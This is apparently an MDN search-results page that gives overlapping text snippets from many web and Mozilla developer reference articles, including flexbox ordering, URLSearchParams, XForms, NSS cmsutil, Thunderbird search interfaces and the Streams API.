...emember that the start line relates to writing modes. the row-related examples above demonstrate how row and row-reverse work in a left-to-right language such as english. if you are working in a right-to-left language like arabic then row would start on the right, row-reverse on the left. this can seem like a neat way to display things in reverse order however you should be mindful that the items are only visually displayed in reverse order. the specification says the following on this matter: “note: the reordering capabilities of flex layout intentionally affect only the visual rendering, leaving speech order and navigation based on the source order. this allows authors to manipulate the visual presentation while leaving the source order intact for non-css uas and for linear models s...
...on this matter: “note: the reordering capabilities of flex layout intentionally affect only the visual rendering, leaving speech order and navigation based on the source order. this allows authors to manipulate the visual presentation while leaving the source order intact for non-css uas and for linear models such as speech and sequential navigation.” - ordering and orientation if your items were links or some other element that the user could tab to, then the tabbing order would be the order that these items appear in the document source — not your visual order. if you are using a reverse value, or otherwise reordering your items, you should consider whether you actually need to change the logical order in the source. the specification continues with a warning not to use reorderi...
...And 11 more matches
nsISmsDatabaseService
nsismsdatabaseservice dom/sms/interfaces/nsismsdatabaseservice.idlscriptable used to store and manage sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsdatabaseservice;1. ...
... nsismsdatabaseservice dom/sms/interfaces/nsismsdatabaseservice.idlscriptable used to store and manage sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsdatabaseservice;1. ...
...es/nsismsdatabaseservice.idlscriptable used to store and manage sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsdatabaseservice;1. ...
...And 10 more matches
URLSearchParams - Web APIs
the urlsearchparams interface defines utility methods to work with the query string of a url. an object implementing urlsearchparams can directly be used in a for...of structure, for example the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note: this feature is available in web workers. constructor urlsearchparams() returns a urlsearchparams object instance. methods urlsearchparams.append() appends a specified key/value pair as a new search parameter. urlsearchparams.delete() deletes the given search parameter, and its associated value, from the list of all search parameters. ...
...mysearchparams.entries()) {} note: this feature is available in web workers. constructor urlsearchparams() returns a urlsearchparams object instance. methods urlsearchparams.append() appends a specified key/value pair as a new search parameter. urlsearchparams.delete() deletes the given search parameter, and its associated value, from the list of all search parameters. urlsearchparams.entries() returns an iterator allowing iteration through all key/value pairs contained in this object. urlsearchparams.foreach() allows iteration through all values contained in this object via a callback function. urlsearchparams.get() returns the first value associated with the given search parameter. ...
... associated value, from the list of all search parameters. urlsearchparams.entries() returns an iterator allowing iteration through all key/value pairs contained in this object. urlsearchparams.foreach() allows iteration through all values contained in this object via a callback function. urlsearchparams.get() returns the first value associated with the given search parameter. urlsearchparams.getall() returns all the values associated with a given search parameter. urlsearchparams.has() returns a boolean indicating if such a given parameter exists. urlsearchparams.keys() returns an iterator allowing iteration through all keys of the key/value pairs contained in this object. urlsearchparams.set() sets the value associated with a given search parameter to the given value. if ther...
...And 10 more matches
itemscope - HTML: Hypertext Markup Language
itemscope is a boolean global attribute that defines the scope of associated metadata. specifying the itemscope attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element. a related attribute, itemtype, is used to specify the valid url of a vocabulary (such as schema.org) that describes the item and its properties context. in each of the following examples, the vocabulary is from schema.org. every html element may have an itemscope attribute specified. an itemscope element that does not have an associated itemtype must have an associated itemref. note: find more about itemtype attributes at http://schema.org/thing simple example html the following example specifies the itemscope attribute. the example specifies the ...
...emscope attribute specified. an itemscope element that does not have an associated itemtype must have an associated itemref. note: find more about itemtype attributes at http://schema.org/thing simple example html the following example specifies the itemscope attribute. the example specifies the itemtype as "http://schema.org/movie", and specifies three related itemprop attributes. <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following table shows the structured data from the preceding example. ...
...e itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following table shows the structured data from the preceding example. itemscope itemtype movie itemprop (itemprop name) (itemprop value) itemprop director james cameron itemprop genre science fiction itemprop name avatar itemprop https://youtu.be/0ay1xikx7by trailer itemscope id attributes when you specify the itemscope attribute for an element, a new item is created. the item consis...
...And 10 more matches
Styling web forms - Learn web development
previous overview: forms next in the previous few articles we looked at all the html you'll need to create and structure your web forms. in this article we will move on to looking at how to use css to style your form controls. this has historically been difficult — form controls vary greatly in how easy they are to customize with css — but it is getting easier as old browsers are retired and modern browsers give us more features to use. prerequisites: basic computer literacy, and a basic understanding of html and css. objective: to understand the issues behind styling forms, and learn some of the basic styling techniques that will be useful to you. why is styling form widgets challenging? form controls were added to html in the html 2 spe...
...wasn't released until late 1996, and wasn't supported very well by browsers for a few years after that. browsers relied on the underlying operating system to manage and render form controls. and even with css available to style html, browser vendors have historically been reluctant to make form controls stylable because users were so accustomed to the visual appearance of their respective platforms. but this has changed. website owners want form styles that fit in with their overall site design more than ever, and the web platform has changed to make this more possible. for some form widgets, it is still difficult to rebuild controls to make them stylable, but we can now use css to style many form features, though we do need to take extra care to ensure we don't break usability. not all w...
...n ever, and the web platform has changed to make this more possible. for some form widgets, it is still difficult to rebuild controls to make them stylable, but we can now use css to style many form features, though we do need to take extra care to ensure we don't break usability. not all widgets are created equal when css is involved at present, some difficulties remain when using css with forms. these problems can be divided into three categories: the good some elements can be styled with few if any problems across platforms. these include the following elements: <form> <fieldset> and <legend> single-line text <input>s (e.g. type text, url, email...), except for <input type="search">. multi-line <textarea>s buttons (both <input> and <button>s) <label> <output> the bad some...
...And 9 more matches
Streams - Plugins
« previousnext » this chapter describes using plug-in api functions to receive and send streams. streams are objects that represent urls and the data they contain, or data sent by a plug-in without an associated url. although a single stream is associated with one specific instance of a plug-in, a plug-in can have more than one stream object per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to or requested by the plug-in instance. the browser calls the plug-in methods npp_newstream, npp_writeready, npp_write, and npp_destroystream to...
...stream data can be pushed by the browser, pulled by the plug-in, or saved to a local file and passed to the plug-in. normal mode: the browser uses the npp_write method to "push" stream data to the instance incrementally as it is available. random-access mode: the plug-in calls the npn_requestread method to "pull" stream data. ...
... before use unless the stream comes from a local file or an http server that supports the byte-range extension to http. file mode: the browser saves the entire stream to a local file and passes the file path to the plug-in instance through the npp_streamasfile method. use this feature only as a last resort; plug-ins should implement an incremental stream-based interface wherever possible. ...
...And 9 more matches
Mozilla XForms Specials - Archive of obsolete content
this covers both limitations in the extension, and custom extensions. limitations repeat using attributes the specifications mentions "creating repeating structures via attributes", this is partially supported. (limitation tracked in bug 280368) mixing repeat and table or ul it is not possible to mix repeats with either table or ul. that means that it is not possible to do: <table> <xf:repeat ...> <tr> ... </tr> </xf:repeat> </table> or <ul> <xf:repeat ...> <li> ... </li> </xf:repeat> </ul> section 9.3.2 states that mixing with table will probably never work. ...
...her table or ul. that means that it is not possible to do: <table> <xf:repeat ...> <tr> ... </tr> </xf:repeat> </table> or <ul> <xf:repeat ...> <li> ... </li> </xf:repeat> </ul> section 9.3.2 states that mixing with table will probably never work. mixing with ul might suffer from the same limitation. pseudo-class support we currently support all the css pseudo-classes in xforms (:enabled, :disabled, etc. ), except for :read-only and :read-write, because of non-specified behaviour of these for (x)html. instead you have to use :-moz-read-only and :-moz-read-write for now. (limitation tracked in bug 313111)pseudo element support there is no support for the pseudo elements (::value, ::repeat-item, and ::repeat-index ). instead you will have to use the following normal class...
... and :-moz-read-write for now. (limitation tracked in bug 313111)pseudo element support there is no support for the pseudo elements (::value, ::repeat-item, and ::repeat-index ). instead you will have to use the following normal classes instead: xf-value xf-repeat-item xf-repeat-index for example, to target the value element of an input control use: @namespace xf url("http://www.w3.org/2002/xforms"); xf|input .xf-value { ... } the pseudo elements are defined in the css3 basic user interface specification . (limitation tracked in bug 271724) optional parameters in xpath functions optional parameters in xpath functions are not supported, you will have to specify all parameters when calling a function. this affects functions like hmac() or digest(). instead of using digest('abc', 'sha-1')...
...And 8 more matches
Mozilla XForms User Interface - Archive of obsolete content
introduction this article is a quick reference of the xforms user interface elements. mainly this is aimed to document how xforms elements will be presented in mozilla since the xforms specifications give only a hint of how controls might be rendered. currently xforms can be hosted by xhtml and xul in seamonkey and firefox. later we have plans to support xforms hosted by svg. the xforms specs define two kinds of xforms ui elements, called 'form controls' and 'xforms user interface'. elements from the "form controls" group allows users to interact with instance data. the set of "xforms user interface" elements exist to aid form authors in combining host language markup and xforms markup together in order to build user interfaces. some of the 'form controls' can have multiple appearanc...
...when a xf:output binds to a node that has a type of xsd:date, we output the date value as plain text. an output bound to a date and also having @appearance='full' will display as a calendar. this article uses several notations. ...
...e='full' will display as a calendar. this article uses several notations. if you see fx 3.0 only, that means that the control will only be available for firefox 3.0 (gecko 1.9). there are several possible reasons for this restriction. the first is that the changes required for such controls could not be safely made to firefox 1.5 or firefox 2.0. the second is that the control is introduced in xforms 1.1 and we don't feel adding the enhancement would be prudent until the 1.1 spec is more stable. for instance, when the spec reaches 'recommendation'-level status. if you see xhtml/xul then it means the control is available when xforms is hosted in either xhtml or xul. similarly, if you see xhtml only or xul only, then it means the control is available only in that host language. attribute sets t...
...And 8 more matches
XForms - Archive of obsolete content
obsolete since gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. note: support for xforms was removed from firefox in firefox 19. see the html forms guide for approaches to creating forms in html5. xforms essentials an online book giving you a guided tour of xforms. xforms were envisioned as the future of online forms as envisioned by the w3c. ...
...ed at any time. try to avoid using it. note: support for xforms was removed from firefox in firefox 19. see the html forms guide for approaches to creating forms in html5. xforms essentials an online book giving you a guided tour of xforms. xforms were envisioned as the future of online forms as envisioned by the w3c. drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model. however, xforms never gained traction and is now considered obsolete. ...
.... xforms essentials an online book giving you a guided tour of xforms. xforms were envisioned as the future of online forms as envisioned by the w3c. drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model. however, xforms never gained traction and is now considered obsolete. other strengths that xforms brings to the table is the separation of data from presentation, strong data typing, the ability to submit xml data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. xforms is a w3c specification. xforms tutorial and cookbook xforms in wikibook format - over 50 examples tested with firefox. ...
...And 8 more matches
NSS Tools cmsutil
-c encrypt a message. ...
... -c encrypt a message. ...
... -c encrypt a message. ...
...And 8 more matches
NSS tools : cmsutil
Mozilla › Projects › NSS › tools › cmsutil
each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options. options and arguments options options specify an action. ...
...each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options. options and arguments options options specify an action. ...
...each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options. options and arguments options options specify an action. ...
...And 8 more matches
nsIMsgSearchCustomTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchcustomterm.idl attributes id /** * globally unique string to identify this search term. * recommended form: extensionname@example.com#termname * commas and quotes are not allowed, the id must not * parse to an integer, and names of standard search * attributes in searchattribentrytable in nsmsgsearchterm.cpp * are not allowed. */ readonly attribute acstring id; name /// name to display in term list. this should be localized. ...
...rytable in nsmsgsearchterm.cpp * are not allowed. */ readonly attribute acstring id; name /// name to display in term list. this should be localized. */ readonly attribute astring name; needsbody /// does this term need the message body? readonly attribute boolean needsbody; methods getenabled /** * is this custom term enabled? ...
...eadonly attribute acstring id; name /// name to display in term list. this should be localized. */ readonly attribute astring name; needsbody /// does this term need the message body? readonly attribute boolean needsbody; methods getenabled /** * is this custom term enabled? * * @param scope search scope (nsmsgsearchscope) * @param op search operator (nsmsgsearchop). ...
...And 8 more matches
Streams API - Web APIs
concepts and usage streaming involves breaking a resource that you want to receive over a network down into small chunks, then processing it bit by bit. this is something browsers do anyway when receiving assets to be shown on webpages — videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded. but this has never been available to javascript before. ...
...lable to play, and sometimes you'll see images display gradually as more is loaded. but this has never been available to javascript before. previously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lot after it is fully received. ...
...for it to be deserialized into a suitable format, then process the whole lot after it is fully received. with streams being available to javascript, this all changes — you can now start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob. there are more advantages too — you can detect when streams start or end, chain streams together, handle errors and cancel streams as required, and react to the speed of the stream is being read at. the basic usage of streams hinges around making responses available as streams. for example, the response body returned by a successful fetch request can be exposed as a readablestream, and you can then read it using a reader created with readablestream.getre...
...And 8 more matches
TransformStream - Web APIs
methods none examples anything-to-uint8array stream in the following example, a transform stream passes through all chunks it receives as uint8array values. const transformcontent = { start() {}, // required. ...
... methods none examples anything-to-uint8array stream in the following example, a transform stream passes through all chunks it receives as uint8array values. const transformcontent = { start() {}, // required. ...
... methods none examples anything-to-uint8array stream in the following example, a transform stream passes through all chunks it receives as uint8array values. const transformcontent = { start() {}, // required. ...
...And 8 more matches
XForms Select Element - Archive of obsolete content
accesskey - used to specify the keyboard shortcut for focusing this control. ...
... accesskey - used to specify the keyboard shortcut for focusing this control. ...
... accesskey - used to specify the keyboard shortcut for focusing this control. ...
...And 7 more matches
HTML forms in legacy browsers - Learn web development
safari or old versions of internet explorer, but they are far from the only ones. in the mobile world, when neither the browser nor the os can be updated such as on older android phones or iphones, the stock browsers that don't update are also legacy browsers. dealing with this wilderness is part of the job. fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers. and html5 <input> types don't fail when not supported: they fall back to type=text. learn about the issues to understand common patterns, it helps to read browser documentation. if you are reading this on mdn, you are at the right place to start. just check the support of the elements (or dom interface) you want to use. mdn has compatibility tables available for most ...
...just browse mdn microsoft: internet explorer standards support documentation webkit: because there are several different editions of this engine, things are a little trickier. the webkit blog and planet webkit aggregate the best articles by webkit core developers. chrome platform status site is also important. as well as the apple web site. ...
... are a little trickier. the webkit blog and planet webkit aggregate the best articles by webkit core developers. chrome platform status site is also important. as well as the apple web site. make things simple because html forms involves complex interaction, there is one rule of thumb: keep it simple, also known as the "kiss principal". there are so many cases where we want forms that are "nicer" or "with advanced functionality", but building efficient html forms is not a question of design or technology. rather, it's about simplicity, intuitivess, and ease of user interaction. the tutorial, forms usability on ux for the masses, explains it well. graceful degradation is web developer's best friend graceful degradation and progressive enhancement are development patterns...
...And 7 more matches
nsMsgSearchOp
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchopvalue; [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] interface nsmsgsearchop { const nsmsgsearchopvalue contains = 0; /* for text attributes */ const nsmsgsearchopvalue doesntcontain = 1; const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ const nsmsgsearchopvalue isnt = 3; const nsmsgsearchopvalue isempty = 4; const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ const nsmsgsearchopvalue isafter = 6; const nsmsgsearchopvalue ishigherthan = 7; /* for priority. ...
... const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ const nsmsgsearchopvalue isnt = 3; const nsmsgsearchopvalue isempty = 4; const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ const nsmsgsearchopvalue isafter = 6; const nsmsgsearchopvalue ishigherthan = 7; /* for priority. ...
...'t also apply to some non-text attrs */ const nsmsgsearchopvalue isnt = 3; const nsmsgsearchopvalue isempty = 4; const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ const nsmsgsearchopvalue isafter = 6; const nsmsgsearchopvalue ishigherthan = 7; /* for priority. ...
...And 7 more matches
DataTransfer.items - Web APIs
the read-only datatransfer property items property is a list of the data transfer items in a drag operation. the list includes one item for each item in the operation and if the operation had no items, the list is empty. syntax itemlist = datatransfer.items; return value a datatransferitemlist object containing datatransferitem objects representing the items being dragged in a drag operation, one list item for each object being dragged. if the drag operation had no data, the list is empty. example this example shows the use of the items and types properties. ...
...ransfer.items; return value a datatransferitemlist object containing datatransferitem objects representing the items being dragged in a drag operation, one list item for each object being dragged. if the drag operation had no data, the list is empty. example this example shows the use of the items and types properties. ...
...oved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // print each format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("... ...
...And 7 more matches
Document.forms - Web APIs
Web › API › Document › forms
the forms read-only property of the document interface returns an htmlcollection listing all the <form> elements contained in the document. note: similarly, you can access a list of a form's component user input elements using the htmlformelement.elements property. syntax collection = document.forms; value an htmlcollection object listing all of the document's forms. each item in the collection is a htmlformelement representing a single <form> element. if the document has no forms, the returned collection is empty, with a length of zero. ...
...elements property. syntax collection = document.forms; value an htmlcollection object listing all of the document's forms. each item in the collection is a htmlformelement representing a single <form> element. if the document has no forms, the returned collection is empty, with a length of zero. ...
...f the document's forms. each item in the collection is a htmlformelement representing a single <form> element. if the document has no forms, the returned collection is empty, with a length of zero. ...
...And 7 more matches
Dragging and Dropping Multiple Items - Web APIs
caution: all of the methods and properties with a moz prefix (such as mozsetdataat() are gecko specific interfaces. these interfaces will only work with gecko based browsers. mozilla supports the ability to drag multiple items using some additional non-standard methods. these are methods that mirror the types property as well as the getdata(), setdata() and cleardata() methods, however, they take an additional argument that specifies the index of the item to retrieve, modify or remove. the drag processing described in this document use the datatransfer interface. this processing does not use the datatransferitem interface nor the datatransferitemlist interface. setting and getting with indices the mozsetdataat() method allows you to add multiple items during a dragstart event. this ...
...not use the datatransferitem interface nor the datatransferitemlist interface. setting and getting with indices the mozsetdataat() method allows you to add multiple items during a dragstart event. this function similarly to setdata() var dt = event.datatransfer; dt.mozsetdataat("text/plain", "data to drag", 0); dt.mozsetdataat("text/plain", "second data to drag", 1); this example adds two items to be dragged. the last argument specifies the index of the item to add. you should add them in order starting with 0 as you cannot add items at positions farther than the last item, however you can replace existing items by using indices you have already added. using 0 as the index is equivalent to calling setdata(). you can clear an item using the mozcleardataat() method. event.datatransfer.m...
...itions farther than the last item, however you can replace existing items by using indices you have already added. using 0 as the index is equivalent to calling setdata(). you can clear an item using the mozcleardataat() method. event.datatransfer.mozcleardataat("text/plain", 1); caution: removing the last format for a particular index will remove that item entirely, shifting the remaining items down, so the later items will have different indices. for example: var dt = event.datatransfer; dt.mozsetdataat("text/uri-list", "url1", 0); dt.mozsetdataat("text/plain", "url1", 0); dt.mozsetdataat("text/uri-list", "url2", 1); dt.mozsetdataat("text/plain", "url2", 1); dt.mozsetdataat("text/uri-list", "url3", 2); dt.mozsetdataat("text/plain", "url3", 2); // [item1] data=url1, index=0 //...
...And 7 more matches
-ms-scroll-snap-points-x - Archive of obsolete content
initial valuesnapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values note: a <length-percentage> is a value that can be either a <length> or a <percentaqe>. snapinterval( <length-percentage>, <length-percentage> ) specifies a starting snap-point followed by the interval between all snap-points. the first value specifies where the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both to the left and the right of the initial snap-point. ...
... the first value specifies where the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both to the left and the right of the initial snap-point. snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, each of which represents a zoom factor. ...
...re the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both to the left and the right of the initial snap-point. snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, each of which represents a zoom factor. if any value is less than -ms-scroll-limit-x-min , then -ms-scroll-limit-x-min is used. if any value is greater than -ms-scroll-limit-x-max, then -ms-scroll-limit-x-max is used. formal syntax snapinterval( <length-percentage>, <length-percentage> ) | snaplist( <length-percentage># )where <length-percentage> = <length> | <percentage> examples this example demonstrates both types of values for the -ms-scroll-snap-points-x property. in the firs...
...And 6 more matches
-ms-scroll-snap-points-y - Archive of obsolete content
initial valuesnapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values note: a <length-percentage> is a value that can be either a <length> or a <percentaqe>. snapinterval( <length-percentage>, <length-percentage> ) specifies a starting snap-point followed by the interval between all snap-points. the first value specifies where the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both above and below the initial snap-point. ...
...-points. the first value specifies where the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both above and below the initial snap-point. snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, each of which represents a zoom factor. ...
...specifies where the first snap-point will be placed. the second value specifies the distance between subsequent snap-points both above and below the initial snap-point. snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, each of which represents a zoom factor. if any value is less than -ms-scroll-limit-y-min , then -ms-scroll-limit-y-min is used. if any value is greater than -ms-scroll-limit-y-max, then -ms-scroll-limit-y-max is used. formal syntax snapinterval( <length-percentage>, <length-percentage> ) | snaplist( <length-percentage># )where <length-percentage> = <length> | <percentage> examples this example demonstrates both types of values for the -ms-scroll-snap-points-y property. in the firs...
...And 6 more matches
Building Mozilla XForms - Archive of obsolete content
have a look at the build instructions for detailed information for your platform. ...
...have a look at the build instructions for detailed information for your platform. ...
...nformation for your platform. ...
...And 6 more matches
nsIMsgFilterList
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilterlist.idl attributes folder attribute nsimsgfolder nsimsgfilterlist::folder version readonly attribute short nsimsgfilterlist::version arbitraryheaders readonly attribute acstring nsimsgfilterlist::arbitraryheaders shoulddownloadallheaders readonly attribute boolean nsimsgfilterlist::shoulddownloadallheaders filtercount readonly attribute unsigned long nsimsgfilterlist::filtercount loggingenabled attribute boolean nsimsgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsimsgfilterlist::defaultfile logstream attribute nsioutputstream nsimsgfilterlist::logstream logurl readonly attribute acstring nsimsgfilterlist::logurl methods getfilterat() nsimsgfilter nsimsgfilterlist::getfilterat (in unsign...
...terlist::filtercount loggingenabled attribute boolean nsimsgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsimsgfilterlist::defaultfile logstream attribute nsioutputstream nsimsgfilterlist::logstream logurl readonly attribute acstring nsimsgfilterlist::logurl methods getfilterat() nsimsgfilter nsimsgfilterlist::getfilterat (in unsigned long filterindex ) getfilternamed() nsimsgfilter nsimsgfilterlist::getfilternamed (in astring filtername) setfilterat() nsimsgfilter nsimsgfilterlist::setfilterat ( in unsigned long filterindex, in nsimsgfilter filter ) removefilter() void nsimsgfilterlist::removefilter (in nsimsgfilter filter) removefilterat() void nsimsgfilterlist::removefilterat (in unsigned long filterindex) movefilterat() void n...
...ilter nsimsgfilterlist::getfilternamed (in astring filtername) setfilterat() nsimsgfilter nsimsgfilterlist::setfilterat ( in unsigned long filterindex, in nsimsgfilter filter ) removefilter() void nsimsgfilterlist::removefilter (in nsimsgfilter filter) removefilterat() void nsimsgfilterlist::removefilterat (in unsigned long filterindex) movefilterat() void nsimsgfilterlist::movefilterat ( in unsigned long filterindex, in nsmsgfiltermotionvalue motion ) insertfilterat() void nsimsgfilterlist::insertfilterat ( in unsigned long filterindex, in nsimsgfilter filter ) movefilter() void nsimsgfilterlist::movefilter ( in nsimsgfilter filter, in nsmsgfiltermotionvalue motion ) createfilte...
...And 6 more matches
nsMsgSearchOpValue
nsmsgsearchopvalue defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl 146 typedef long nsmsgsearchopvalue; 147 148 [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] 149 interface nsmsgsearchop { 150 const nsmsgsearchopvalue contains = 0; /* for text attributes */ 151 const nsmsgsearchopvalue doesntcontain = 1; 152 const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ 153 const nsmsgsearchopvalue isnt = 3; 154 const nsmsgsearchopvalue isempty = 4; 155 156 const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ 157 const nsmsgsearchopvalue isafter = 6; 158 159 const nsmsgsearchopvalue ishigherthan = 7; /* for priority. ...
...value is = 2; /* is and isn't also apply to some non-text attrs */ 153 const nsmsgsearchopvalue isnt = 3; 154 const nsmsgsearchopvalue isempty = 4; 155 156 const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ 157 const nsmsgsearchopvalue isafter = 6; 158 159 const nsmsgsearchopvalue ishigherthan = 7; /* for priority. ...
...ext attrs */ 153 const nsmsgsearchopvalue isnt = 3; 154 const nsmsgsearchopvalue isempty = 4; 155 156 const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ 157 const nsmsgsearchopvalue isafter = 6; 158 159 const nsmsgsearchopvalue ishigherthan = 7; /* for priority. ...
...And 6 more matches
Adding items to the Folder Pane
first, some necessary background on how the folder pane constructs the data it displays. the folder pane tracks modifications to a user's folders and accounts. each time the folder pane determines that it is necessary to invalidate all its data (because of too many changes, or more commonly because the folder pane's "mode" (aka view) has changed), a "rebuild" occurs. ...
...s that it is necessary to invalidate all its data (because of too many changes, or more commonly because the folder pane's "mode" (aka view) has changed), a "rebuild" occurs. when this happens, the folder pane consults the map-generator for the current mode, and that generator returns the necessary data for the folder pane's display. this data is returned in the form of an array of folder-tree-items. listening for folder pane rebuilds every time the folder pane rebuilds, it fires a "maprebuild" event, which is the ideal opportunity for extensions to step in and modify the display data. the following code snippet listens for that event: let gnumbersext = { load: function gne_load() { window.removeeventlistener("load", gnumbersext.load, false); let tree = document.getelementbyid("...
...each item in this array satisfies the following interface: id (attribute) a unique string for this object. must persist over sessions text (attribute) the text to display in the tree level (attribute) the level in the tree to display the item at open (rw, att...
...And 6 more matches
msAudioCategory - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msaudiocategory property of the html <audio> element, is a read/write proprietary attribute, specific to internet explorer and microsoft edge. ...
... is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msaudiocategory property of the html <audio> element, is a read/write proprietary attribute, specific to internet explorer and microsoft edge. msaudiocategory specifies the purpose of the audio or video media, such as background audio or alerts. syntax <audio controls="controls" msaudiocategory="backgroundcapablemedia"> </audio> the msaudiocategory property offers a variety of values that can enhance the behavior of your audio-aware app. note that you must set the msaudiocategory before setting the src property in code. value inc...
...y offers a variety of values that can enhance the behavior of your audio-aware app. note that you must set the msaudiocategory before setting the src property in code. value include a description of the property's value, including data type and what it represents. value description background capable? alert looping or longer running alert sounds: alarms ring tones ringing notification sounds that need to attenuate existing audio no backgroundcapablemedia for audio that needs to continue playing in the background. examples include the following local media playback scenarios: local playlist streaming radio streaming playlist music videos streaming audio/radio, youtube, netflix, ...
...And 6 more matches
LocalFileSystemSync - Web APIs
the localfilesystemsync interface of the file system api gives you access to a sandboxed file system. it is intended to be used with webworkers. the methods are implemented by worker objects. about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011. this specification is more or less abandonned, failing to get significant traction. basic concepts you can request access to a sandboxed file system by requesting localfilesystemsync object from within a web worker. the global methods in the window object requestfilesystemsync() and resolvelocalfilesystemsyncurl() methods are exposed to the worker's global scope. calling window.requestfilesystemsync() for creates new storage for your web app. ...
...in a web worker. the global methods in the window object requestfilesystemsync() and resolvelocalfilesystemsyncurl() methods are exposed to the worker's global scope. calling window.requestfilesystemsync() for creates new storage for your web app. for more concepts, see the counterpart article for the asynchronous api. example //taking care of the browser-specific prefix window.requestfilesystemsync = window.requestfilesystemsync || window.webkitrequestfilesystemsync; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success callback // and the last one is the error callback // for denial of access and other errors. ...
...f the browser-specific prefix window.requestfilesystemsync = window.requestfilesystemsync || window.webkitrequestfilesystemsync; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success callback // and the last one is the error callback // for denial of access and other errors. var fs = requestfilesystemsync(temporary, 1024*1024 /*1mb*/); because you are using a synchronous api, you don't need success and error callbacks. ...
...And 6 more matches
-ms-content-zoom-limit - Archive of obsolete content
a zoom factor of 100% corresponds to no zooming. larger values zoom in. ...
...a zoom factor of 100% corresponds to no zooming. larger values zoom in. ...
...a zoom factor of 100% corresponds to no zooming. larger values zoom in. ...
...And 5 more matches
-ms-scroll-limit - Archive of obsolete content
the -ms-scroll-limit css property is a microsoft extension that specifies values for the -ms-scroll-limit-x-min, -ms-scroll-limit-y-min, -ms-scroll-limit-x-max, and -ms-scroll-limit-y-max properties. ...
... the -ms-scroll-limit css property is a microsoft extension that specifies values for the -ms-scroll-limit-x-min, -ms-scroll-limit-y-min, -ms-scroll-limit-x-max, and -ms-scroll-limit-y-max properties. ...
... the -ms-scroll-limit css property is a microsoft extension that specifies values for the -ms-scroll-limit-x-min, -ms-scroll-limit-y-min, -ms-scroll-limit-x-max, and -ms-scroll-limit-y-max properties. ...
...And 5 more matches
XForms API Reference - Archive of obsolete content
this page is the beginning of the xforms api reference. ...
